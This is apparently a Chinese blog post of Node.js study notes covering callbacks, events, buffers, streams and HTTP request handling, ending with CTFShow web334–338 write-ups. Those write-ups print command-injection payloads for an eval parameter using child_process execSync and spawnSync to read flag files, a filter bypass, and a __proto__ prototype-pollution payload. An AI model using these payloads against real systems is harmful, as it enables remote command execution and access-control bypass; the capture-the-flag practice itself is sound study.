Node.Js


NodeJs

—–运行在服务端的javascript

回调函数:

  • 在本语句在主进程执行时,该语句开启了另一个线程用来执行该语句的某一函数,而主进程不受影响一直执行则这一操作称为回调函数

Node所有的API都支持回调函数:

  • 使用方式:

input.txt:

菜鸟教程官网地址: www.runoob.com

main.js:

var fs = require("fs");

fs.readFile('input.txt', function (err, data) {
    if (err) return console.error(err); //判断是否在打开文件过程中出错
    console.log(data.toString()); //输出文件内容
});  //在打开input.txt的同时调用新的线程用来执行匿名函数

console.log("程序执行结束!"); //打开文件之后立马执行

运行结果:

image-20210904012414490运行结果

事件处理:

  • JS中有一个events模块用来进行事件的监听和处理.

  • 每当一个对象处理一个事件,这些事件都是events.EventEmitter类的实例.

使用方法

//引入events模块
var events = require('events');
//新建eventEmitter对象
var eventEmitter = new events.EventEmitter();

新建对象如果出错会触发error事件,添加监听器时会触发newListener事件,监听器被移除时会触发rmoveListener事件

简单的例子:

var events = require('events');
var eventEmitter = new events.EventEmitter();
eventEmitter.on('some_event',function(){
    console.log('some_event事件触发');
});
setTimeout(function(){
    eventEmitter.emit(some_event);
},1000);

!image-20210904012432462运行结果

其他方法

多数情况下我们不会使用EventEmitter而在对象中继承他,包括 fs、net、 http 在内的,只要是支持事件响应的核心模块都是 EventEmitter 的子类。

缓冲区

Js中只有字符串数据类型,但是在打开文件时需要处理二进制数据,因此,JS拥有buffer类存储二进制数据。

使用方法:

  • 字符编码
const buf= Buffer.from('runoob','ascii')//创建buf对象,runoob字符串以ascii的方式存储在buf中(ascii===>二进制)

console.log(buf.toString('hex')); //以hex方式读取字符串(二进制===>ascii)

console.log(buf.toString('base64'));

image-20210904012446854

  • 创建buffer类:
const buf1 = Buffer.alloc(26); //类似于malloc申请内存,以0填充
const buf2 = Buffer.alloc(10, 1);//以0x1填充
const buf3 = Buffer.allocUnsafe(10);//无任何数字填充(没有初始化),需要用write或full函数填写
const buf4 = Buffer.from([1,2,3]);//创建一个包含[0x1,0x2,0x3]的Buffer
const buf5 = Buffer.from('test');//创建一个包含 UTF-8 字节 [0x74, 0xc3, 0xa9, 0x73, 0x74] 的 Buffer。

buffer其他函数方法

Node.Js流

所有的 Stream 对象都是 EventEmitter 的实例,流的四种事件:

  • data:有数据可读时触发
  • end:没有数据读取时触发
  • error:在接收和写入过程中出现错误触发
  • finish:所有数据已被写入到底层系统时触发

从流中读取数据:

var fs = require('fs');
var data = '';

//创建可读流
var readStream = fs.createReadStream('input.txt');
//设置编码为utf8
readStream.setEncoding('utf8');
//处理流事件--->data,end,error,finish
readStream.on('data',function(chunk){
    data+=chunk
});

readStream.on('end',function(){
    console.log(data);
});

readStream.on('error',function(){
    console.log(err.stack);
});

readStream.on('error',function(err){
    console.log(err.stack);
});

console.log("程序执行完毕");

image-20210904012459035运行结果

写入流:

var fs=require('fs');
var data = "菜鸟教程官网地址: www.runoob.com";
//创建一个可以写入的流,写入到文件output.txt
var writeStream = fs.createWriteStream('output.txt');

//使用utf8编码写入数据
writeStream.write(data,'UTF8');

//标记文件的末尾
writeStream.end();

//处理流事件--->finish,error

writeStream.on('finish',function(){
	console.log('写入完成.');
});
writeStream.on('error',function(err){
	console.log(err.stack);
});

console.log("程序执行完毕");

image-20210904012513180)运行结果

管道流:

可以完成文件的复制,就如同倒水一般:

步骤:

  1. 创建一个可读流
  2. 创建一个可写流
  3. 以读的对象利用pipe(管道)函数,去写
var fs=require('fs')

var readStream = fs.createReadStream('a.txt');
var writeStream = fs.createWriteStream('b.txt');

readStream.pipe(writeStream);

console.log('程序执行完毕');

链式流即为多次管道的组合

Node.Js函数:

  1. 一个函数可以作为另一个函数的参数
function aaa(){
    console.log('aaa函数执行');
}
function express(func){
    func();
}

express(aaa)

image-20210904012525418

\2. 利用函数传递实现简约的HTTP服务器

var http = require("http");
//匿名函数作为参数
http.createServer(function(request, response) {
  response.writeHead(200, {"Content-Type": "text/plain"});
  response.write("Hello World");
  response.end();
}).listen(8888);

Node.JS路由

为解析请求的数据我们需要用到url和querstring模块

img

全局变量

  • __filename: 返回正在执行脚本的绝对路径
  • __dirname: 表示当前脚本所在目录
  • setTimeout(cd,ms):全局函数在指定ms毫秒后执行cd====>只执行一次
  • clearTimeout(t): 用来停止之前setTimeout()设定的计时器
  • setInterval(cb, ms): 在ms毫秒之后调用cd,一直执行
  • console:控制台标准输出
  • process: 与操作系统的简单接口
序号 事件 & 描述
1 exit 当进程准备退出时触发。
2 beforeExit 当 node 清空事件循环,并且没有其他安排时触发这个事件。通常来说,当没有进程安排时 node 退出,但是 ‘beforeExit’ 的监听器可以异步调用,这样 node 就会继续执行。
3 uncaughtException 当一个异常冒泡回到事件循环,触发这个事件。如果给异常添加了监视器,默认的操作(打印堆栈跟踪信息并退出)就不会发生。
4 Signal 事件 当进程接收到信号时就触发。信号列表详见标准的 POSIX 信号名,如 SIGINT、SIGUSR1 等。

process属性

Node.Js GET/POST请求

获取get请求内容

var http = require('http');
var url = require('url');
var util = require('util');

http.createServer(function(req,res){
    res.writeHead(200,{'Content-Type': 'text/plain; charset=utf-8'});
    res.end(util.inspect(url.parse(req.url,true)));
}).listen(3000);

image-20210904012540271运行结果

获取get请求参数:

使用url.parse解析url参数

var http = require('http');
var url = require('url');
var util = require('util');
 
http.createServer(function(req, res){
    res.writeHead(200, {'Content-Type': 'text/plain'});
 
    // 解析 url 参数
    var params = url.parse(req.url, true).query;
    res.write("网站名:" + params.name);
    res.write("\n");
    res.write("网站 URL:" + params.url);
    res.end();
 
}).listen(3000);

获取post请求内容:

语法结构:

var http = require('http');
var quertstring  = require('querystring');
var util = require('util');

http.createServer(function(req,res){
    //定义了一个post变量,用于暂存请求体的信息
    var post = '';

    //通过req的data事件监听函数,每当接收到请求体的数据,就累加到post变量中
    req.on('data',function(chunk){
        post+=chunk;
    });
    //在end事件触发后,通过querystring.parse将post解析为真正的post请求格式,然后
向客户端返回。
    req.on('end',function(){
        post = querystring.parse(post);
        res.end(util.inspect(post));
    });
}).listen(3000)

实例:

var http = require('http');
var querystring = require('querystring');
 
var postHTML = 
  '<html><head><meta charset="utf-8"><title>菜鸟教程 Node.js 实例</title></head>' +
  '<body>' +
  '<form method="post">' +
  '网站名: <input name="name"><br>' +
  '网站 URL: <input name="url"><br>' +
  '<input type="submit">' +
  '</form>' +
  '</body></html>';
 
http.createServer(function (req, res) {
  var body = "";
  req.on('data', function (chunk) {
    body += chunk;
  });
  req.on('end', function () {
    // 解析参数
    body = querystring.parse(body);
    // 设置响应头部信息及编码
    res.writeHead(200, {'Content-Type': 'text/html; charset=utf8'});
 
    if(body.name && body.url) { // 输出提交的数据
        res.write("网站名:" + body.name);
        res.write("<br>");
        res.write("网站 URL:" + body.url);
    } else {  // 输出表单
        res.write(postHTML);
    }
    res.end();
  });
}).listen(3000);

CTFSHOW习题:

web334:

下载文件,改后缀为zip,在user.js中发现username和password

web335:

eval想到命令执行,也就是要和命令行打交道,js中有process可以提供命令行接口

nodejs命令行程序开发

nodejs多进程

?eval=require("child_process").execSync('tac fl00g.txt')

web336:

过滤了exec,利用spawn(),格式:spawnSync(command,[‘str’])

spawn() 方法返回流 (stdout & stderr),在进程返回大量数据时使用。进程一旦开始执行时 spawn() 就开始接收响应。

require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()

image-20210904012604338

?eval=require('child_process').spawnSync( 'cat', [ './fl001g.txt' ] ).stdout.toString()

web337:

数组:

?a[x]=1&b[x]=2

就相当于:

a={'x':'1'}
b={'x':'2'}

绕过md5

web338:

题目环境:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

image-20210904012617516

  • 在login.js页面存在js原型链污染:
    • copy函数可以将第二个参数的值复制到第一个参数,user本是一个没有值的对象,我们输入的内容(req.body)会被复制到user对象中,如果我们改变对象的原型,也就是user对象的__proto__属性,这样会导致user的原型Object类的属性被修改,比如__proto__: {“ctfshow”:”36dboy”},Object类中就会出现ctfshow属性,值是36dboy.这样所有原型是Object类的对象都会有ctfshow属性,如果本身不存在ctfshow属性,那么这个属性的值就是36dboy(和查询顺序有关)

burp抓包,修改传输的内容

image-20210904012629633添加__proto__键值对


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录